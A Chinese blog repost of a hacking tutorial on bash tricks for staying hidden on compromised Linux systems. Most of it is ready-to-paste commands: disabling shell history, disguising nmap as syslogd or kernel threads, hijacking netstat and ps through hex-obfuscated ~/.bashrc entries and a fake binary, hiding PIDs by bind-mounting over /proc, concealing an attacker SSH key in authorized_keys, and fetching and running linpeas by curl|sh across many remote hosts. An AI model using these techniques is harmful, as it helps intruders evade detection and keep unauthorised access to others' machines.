高级黑客技术-1.bash / shell

admin 2024年4月19日22:04:50评论2 views字数 5495阅读18分19秒阅读模式

Bash,即“Bourne Again SHell”,是Unix操作系统中流行的命令行界面和脚本语言。它是Bourne Shell(sh)的升级版。Bash提供了许多功能,如命令历史、作业控制和文件名补全,使其比其前身更加用户友好。

Shell通常是用户与操作系统交互的命令行界面,通过执行命令来实现。有多种Shell类型,包括Bash、sh、ash、bsh、csh、ksh、zsh、pdksh和tcsh,每种Shell都有其独特的特性和语法。Bash和Shell对于道德黑客、渗透测试人员和漏洞赏金猎人来说都是必不可少的工具,因为它们提供了一个强大的界面,用于执行命令、自动化任务和利用系统中的漏洞。

1.1让 Bash 没有历史记录:

Bash 使用/dev/null而不是~/.bash_history。这是我们在每个 shell 上执行的第一个命令。它将阻止 Bash 记录您的命令。

export HISTFILE=/dev/null
unset SSH_CONNECTION SSH_CLIENT

(如果我们使用 SSH 登录,我们还会清除 SSH_* 变量。否则我们启动的任何进程都会在 /proc/self/environ 中获取 IP 的副本。)

退出 shell 时“kill”是很好的内务管理:

alias exit='kill -9 $$'

任何以“”(空格)开头的命令也不会记录到历史记录中[1]

$  id

1.2隐藏你的命令 / Daemonzie 你的命令

隐藏为“syslogd”。

(exec -a syslogd nmap -T0 10.0.2.1/24) # Note the brackets '(' and ')'

启动后台隐藏进程:

(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)

在GNU 屏幕[2]中启动:

screen -dmS MyName nmap -T0 10.0.2.1/24
### Attach back to the nmap process
screen -x MyName

或者,如果没有 Bash:

cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -T0 10.0.2.1/24

在此示例中,我们执行nmap,但让它以名称syslogd出现在ps alxwww进程列表中。

1.3隐藏您的命令行选项

使用zapper[3]

# Start Nmap but zap all options and show it as 'klog' in the process list:
./zapper -a klog nmap -T0 10.0.0.1/24
# Same but started as a daemon:
(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)
# Replace the existing shell with tmux (with 'exec').
# Then start and hide tmux and all further processes - as some kernel process:
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

1.4隐藏网络连接

诀窍是劫持netstat并使用 grep 来过滤掉我们的连接。此示例过滤端口 31337ip 1.2.3.4 上的任何连接。对于ssnetstat 替代方案)也应该做同样的事情。

方法 1 - 在 ~/.bashrc 中隐藏与 bash-function 的连接

剪切并粘贴此行以将行添加到 ~/.bashrc

echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc 
&& touch -r /etc/passwd ~/.bashrc

或者将其剪切并粘贴到 ~/.bashrc 中以混淆条目:

X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc 
&& touch -r /etc/passwd ~/.bashrc

~/.bashrc 的混淆条目将如下所示:

eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

方法 2 - 隐藏与 $PATH 中的二进制文件的连接

在 /usr/local/sbin 中创建一个假的 netstat 二进制文件。在默认的 Debian(和大多数 Linux)上,PATH 变量 ( ) 在 /usr/bin之前echo $PATH列出 /usr/local/sbin 。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。

echo -e "#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4"
>/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

1.5以用户身份隐藏进程

继续“隐藏连接”,可以使用相同的技术来隐藏进程。此示例隐藏了 nmap 进程,并通过将其重命名为 GREP 来确保我们的进程grep不会出现在进程列表中:

echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc 
&& touch -r /etc/passwd ~/.bashrc

1.6以 root 身份隐藏进程

这需要 root 权限,并且是一个古老的 Linux 技巧,通过使用无用的目录过度安装 /proc/

hide()
{
[[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
_pid=${1:-$$}
[[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }
local _argstr
for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done
[[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr"
bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr"
}

要隐藏命令,请使用:

hide                                 # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process

1.7 隐藏 shell 脚本

上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个经常使用的技巧是使用source替代。source 命令可以缩短为.(是的,一个点)它还会搜索 $PATH 变量以查找要加载的文件。

在此示例中,我们的脚本prng包含上面的所有 shell 函数。这些功能隐藏了nmap进程和网络连接。最后我们添加. prng到系统范围的 rc 文件中。这将prng在用户(和 root)登录时加载:

echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }'
>/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

(同样适用于lsofssls

1.8 CAT

ANSI 转义字符或简单的r回车符[4])可用于隐藏cat其他人。

隐藏最后一个命令(例如id:)~/.bashrc

echo -e "id #\033[2K\033[1A" >>~/.bashrc
### The ANSI escape sequence \033[2K erases the line. The next sequence \033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

注意:我们使用echo -e转换\033为 ANSI 转义字符(十六进制 0x1b)。

添加r(回车符)对于隐藏您的 ssh 密钥有很大帮助cat

echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' wont show
### it. The $'r' is a bash special to create a r (carriage return).

1.9 使用单独的日志文件并行执行*

并行扫描 20 个主机并将每个结果记录到单独的日志文件中:

# hosts.txt contains a long list of hostnames or ip-addresses
cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sCV -F --open {} >nmap_{}.txt'

注意:该示例使用exec最后一个进程(nmap、gsexec)替换底层 shell。它是可选的,但会减少运行的 shell 二进制文件的数量。

使用 40 个工作线程在所有gsocket[5]主机上执行Linpeas :[6]

# secrets.txt contains a long list of gsocket-secrets for each remote server.
cat secrets.txt | parallel -j40 'mkdir host_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>host_{}/linpeas.err'

注意:xargs -P20 -I{}这是另一种好方法,但它无法将每个输出记录到单独的文件中。

欢迎访问我们的网站和关注我们的公众号,获取最新的技术共享内容、创新想法和安全知识。

网站:https://hackerchi.top      

互联网信息流:https://hackerchi.top/Feeds.html微信公众号:黑客驰    

💡免责声明本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

👉请大家关注我们的公众号"黑客驰",收藏我们的文章,转发给你的朋友们,让更多的人了解到这些有用的知识!网站是实时更新的,公众号每天只有1次机会,不想错过关键内容的话,推荐您访问官网[7],如果能给个免费的赞!或者打赏点咖啡钱更好!阿哈哈哈哈

参考资料

[1]记录到历史记录中: https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces
[2]在GNU 屏幕: https://linux.die.net/man/1/screen
[3]zapper: https://github.com/hackerschoice/zapper
[4]回车符: https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/
[5]gsocket: https://www.gsocket.io/deploy
[6]Linpeas :: https://github.com/carlospolop/PEASS-ng
[7]官网: https://hackerchi.top/

原文始发于微信公众号(黑客驰):高级黑客技术-1.bash / shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日22:04:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   高级黑客技术-1.bash / shellhttp://cn-sec.com/archives/2650554.html

发表评论

匿名网友 填写信息